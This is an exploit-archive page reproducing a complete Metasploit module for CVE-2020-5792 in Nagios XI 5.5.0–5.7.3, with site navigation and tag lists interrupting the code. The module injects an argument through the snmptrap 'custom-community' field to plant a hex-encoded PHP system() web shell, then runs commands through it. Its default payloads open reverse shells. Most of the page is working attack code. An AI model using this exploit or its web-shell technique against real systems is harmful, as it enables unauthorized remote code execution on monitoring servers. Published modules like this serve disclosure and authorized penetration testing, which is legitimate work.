Nagios XI 5.7.3 Remote Code Execution

Authored by Chris Lyne, Erik Wynter | Site metasploit.com

Posted Apr 21, 2021

This Metasploit module exploits an OS command injection vulnerability in includes/components/nxti/index.php that enables an authenticated user with admin privileges to achieve remote code execution as the apache user. Valid credentials for a Nagios XI admin user are required. This module has been successfully tested against Nagios XI 5.7.3 running on CentOS 7.

tags | exploit, remote, php, code execution
systems | linux, osx, centos
advisories | CVE-2020-5792
SHA-256 | 02c732ecdeb46edeb55c3d07feeea7f934380ef9d317001de2070079b9dae17d

Download | Favorite | View

Related Files

Change Mirror Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::NagiosXi
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Nagios XI 5.5.0-5.7.3 - Snmptrap Authenticated Remote Code Exection',
        'Description' => %q{
          This module exploits an OS command injection vulnerability in
          includes/components/nxti/index.php that enables an authenticated user
          with admin privileges to achieve remote code execution as the `apache`
          user. The module uploads a simple PHP shell via includes/components/nxti/index.php
          to includes/components/autodiscovery/jobs/<php_shell> and then
          executes the payload as the `apache` user via an HTTP GET request to
          includes/components/autodiscovery/jobs/<php_shell>?<php_param>=<cmd>

          Valid credentials for a Nagios XI admin user are required. This module has
          been successfully tested against Nagios XI 5.7.3 running on CentOS 7.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'Chris Lyne', # discovery
            'Erik Wynter' # @wyntererik - Metasploit'
          ],
        'References' =>
          [
            ['CVE', '2020-5792']
          ],
        'Platform' => %w[linux unix],
        'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ],
        'Targets' =>
          [
            [
              'Linux (x86/x64)', {
                'Arch' => [ARCH_X86, ARCH_X64],
                'Platform' => 'linux',
                'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }
              }
            ],
            [
              'CMD', {
                'Arch' => [ARCH_CMD],
                'Platform' => 'unix',
                # cmd/unix/reverse_awk is one of the few reliable CMD payloads for a typical NagiosXI install
(CentOS 7 minimal).
                # other options are cmd/unix/reverse_perl_ssl and cmd/unix/reverse_openssl
                'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_awk' }
              }
            ],
          ],
        'Privileged' => false,
        'DisclosureDate' => '2020-10-20',
        'DefaultTarget' => 0,
        'Notes' =>
          {
            'Stability' => [ CRASH_SAFE ],
            'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
            'Reliability' => [ REPEATABLE_SESSION ]
          }
      )
    )

    register_options [
      OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']),
      OptString.new('PASSWORD', [true, 'Password to authenticate with', nil])
    ]
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def finish_install
    datastore['FINISH_INSTALL']
  end

  def check
    # Use nagios_xi_login to try and authenticate. If authentication succeeds, nagios_xi_login returns
    # an array containing the http response body of a GET request to index.php and the session cookies
    login_result, res_array = nagios_xi_login(username, password, finish_install)
    case login_result
    when 1..3 # An error occurred
      return CheckCode::Unknown(res_array[0])
    when 4 # Nagios XI is not fully installed
      install_result = install_nagios_xi(password)
      if install_result
        return CheckCode::Unknown(install_result[1])
      end

      login_result, res_array = login_after_install_or_license(username, password, finish_install)
      case login_result
      when 1..3 # An error occurred
        return CheckCode::Unknown(res_array[0])
      when 4 # Nagios XI is still not fully installed
        return CheckCode::Detected('Failed to install Nagios XI on the target.')
      end
    end

    # when 5 is excluded from the case statement above to prevent having to use this code block twice.
    # Including when 5 would require using this code block once at the end of the `when 4` code block above,
```


File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

- Red Hat 150 files
- Ubuntu 68 files
- LiquidWorm 23 files
- Debian 16 files
- malvuln 11 files
- nu11secur1ty 11 files
- Gentoo 9 files
- Google Security Research 6 files
- Julien Ahrens 4 files
- T. Weber 4 files

File Tags

- ActiveX (932)
- Advisory (79,754)
- Arbitrary (15,694)
- BBS (2,859)
- Bypass (1,619)
- CGI (1,018)
- Code Execution (6,926)
- Conference (673)
- Cracker (840)
- CSRF (3,290)
- DoS (22,602)
- Encryption (2,349)
- Exploit (50,359)
- File Inclusion (4,165)
- File Upload (946)
- Firewall (821)
- Info Disclosure (2,660)
- Intrusion Detection (867)
- Java (2,899)
- JavaScript (821)
- Kernel (6,291)
- Local (14,201)
- Magazine (586)
- Overflow (12,419)
- Perl (1,418)
- PHP (5,093)
- Proof of Concept (2,291)
- Protocol (3,435)
- Python (1,467)
- Remote (30,044)
- Root (3,504)
- Ruby (594)
- Scanner (1,631)
- Security Tool (7,777)
- Shell (3,103)
- Shellcode (1,204)
- Sniffer (886)

File Archives

- December 2022
- November 2022
- October 2022
- September 2022
- August 2022
- July 2022
- June 2022
- May 2022
- April 2022
- March 2022
- February 2022
- January 2022
- Older

Systems

- AIX (426)
- Apple (1,926)
- BSD (370)
- CentOS (55)
- Cisco (1,917)
- Debian (6,634)
- Fedora (1,690)
- FreeBSD (1,242)
- Gentoo (4,272)
- HPUX (878)
- iOS (330)
- iPhone (108)
- IRIX (220)
- Juniper (67)
- Linux (44,315)
- Mac OS X (684)
- Mandriva (3,105)
- NetBSD (255)
- OpenBSD (479)
- RedHat (12,469)
- Slackware (941)
- Solaris (1,607)

```
and once here.
    if login_result == 5 # the Nagios XI license agreement has not been signed
      auth_cookies, nsp = res_array
      sign_license_result = sign_license_agreement(auth_cookies, nsp)
      if sign_license_result
        return CheckCode::Unknown(sign_license_result[1])
      end

      login_result, res_array = login_after_install_or_license(username, password, finish_install)
      case login_result
      when 1..3
        return CheckCode::Unknown(res_array[0])
      when 5 # the Nagios XI license agreement still has not been signed
        return CheckCode::Detected('Failed to sign the license agreement.')
      end
    end

    print_good('Successfully authenticated to Nagios XI')

    # Obtain the Nagios XI version
    @auth_cookies = res_array[1] # if we are here, this cannot be nil since the mixin checks for that already

    nagios_version = nagios_xi_version(res_array[0])
    if nagios_version.nil?
      return CheckCode::Detected('Unable to obtain the Nagios XI version from the dashboard')
    end

    print_status("Target is Nagios XI with version #{nagios_version}")

    if /^\d{4}R\d\.\d/.match(nagios_version) || /^\d{4}RC\d/.match(nagios_version) || /^\d{4}R\d.\d[A-Ha-
h]/.match(nagios_version) || nagios_version == '5R1.0'
      nagios_version = '1.0.0' # Set to really old version as a placeholder. Basically we don't want to exploit
these versions.
    end

    # check if the target is actually vulnerable
    version = Rex::Version.new(nagios_version)
    if version >= Rex::Version.new('5.5.0') && version <= Rex::Version.new('5.7.3')
      return CheckCode::Appears
    end

    return CheckCode::Safe
  end

  def alert_exploit_attempt(payload_string)
    payload_execution = "#{normalize_uri(target_uri.path, 'includes', 'components', 'autodiscovery', 'jobs',
@php_log_file)}?#{@php_param}=<cmd>"
    print_status("Attempting to execute the #{payload_string} via `#{payload_execution}`")
  end

  def upload_php_shell
    # prepare the variables we need
    @php_param = rand_text_alpha(1) # this does not work with longer parameters
    php_shell = "<?php /*      */system(/*      */$_GET[\"#{@php_param}\"])/* */?>"
    encoded_payload = Rex::Text.to_hex(php_shell)
    encoded_payload.gsub!('\x', '') # get clean hex without the \x format
    @php_log_file = "#{rand_text_alpha(8..12)}.php"
    php_log_file_path = "/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/#{@php_log_file}"
    register_file_for_cleanup(php_log_file_path)

    # upload the shell
    print_status("Uploading a simple PHP shell to #{php_log_file_path}")
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'includes', 'components', 'nxti', 'index.php'),
      'cookie' => @auth_cookies,
      'vars_get' =>
      {
        'custom-version' => '2c',
        'generic-trap-option' => '0',
        'specific-trap-option' => '',
        'custom-agent' => '',
        'custom-community' => "a -d -L f #{php_log_file_path}",
        'custom-oid' => 'NET-SNMP-EXAMPLES-MIB::netSnmpExampleHeartbeatNotification',
        'variablebindings[name][]' => 'x',
        'variablebindings[type][]' => 'x',
        'variablebindings[value][]' => encoded_payload,
        'mode' => 'customTrap'
      }
    })

    unless res
      fail_with(Failure::Disconnected, 'Connection failed while trying to upload the PHP shell')
    end

    unless res.code == 200 && res.body.include?('var message = "Custom trap sent successfully!";')
      fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to upload the PHP shell')
    end
  end

  def execute_command(cmd, _opts = {})
    send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'includes', 'components', 'autodiscovery', 'jobs',
@php_log_file),
      'cookie' => @auth_cookies,
      'vars_get' => { @php_param => cmd }
    }, 0) # don't wait for a response from the target, otherwise the module will hang for a few seconds after
executing the payload
  end

  def exploit
    upload_php_shell # upload a simple php shell that will be used to execute the payload
    if target.arch.first == ARCH_CMD
      alert_exploit_attempt('payload')
      execute_command(payload.encoded)
    else
      alert_exploit_attempt('initial payload')
      execute_cmdstager(background: true)
    end
  end
end
```


Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links
News by Month
News Tags
Files by Month
File Tags
File Directory

About Us
History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By
Rokasec

Follow us on Twitter
Subscribe to an RSS Feed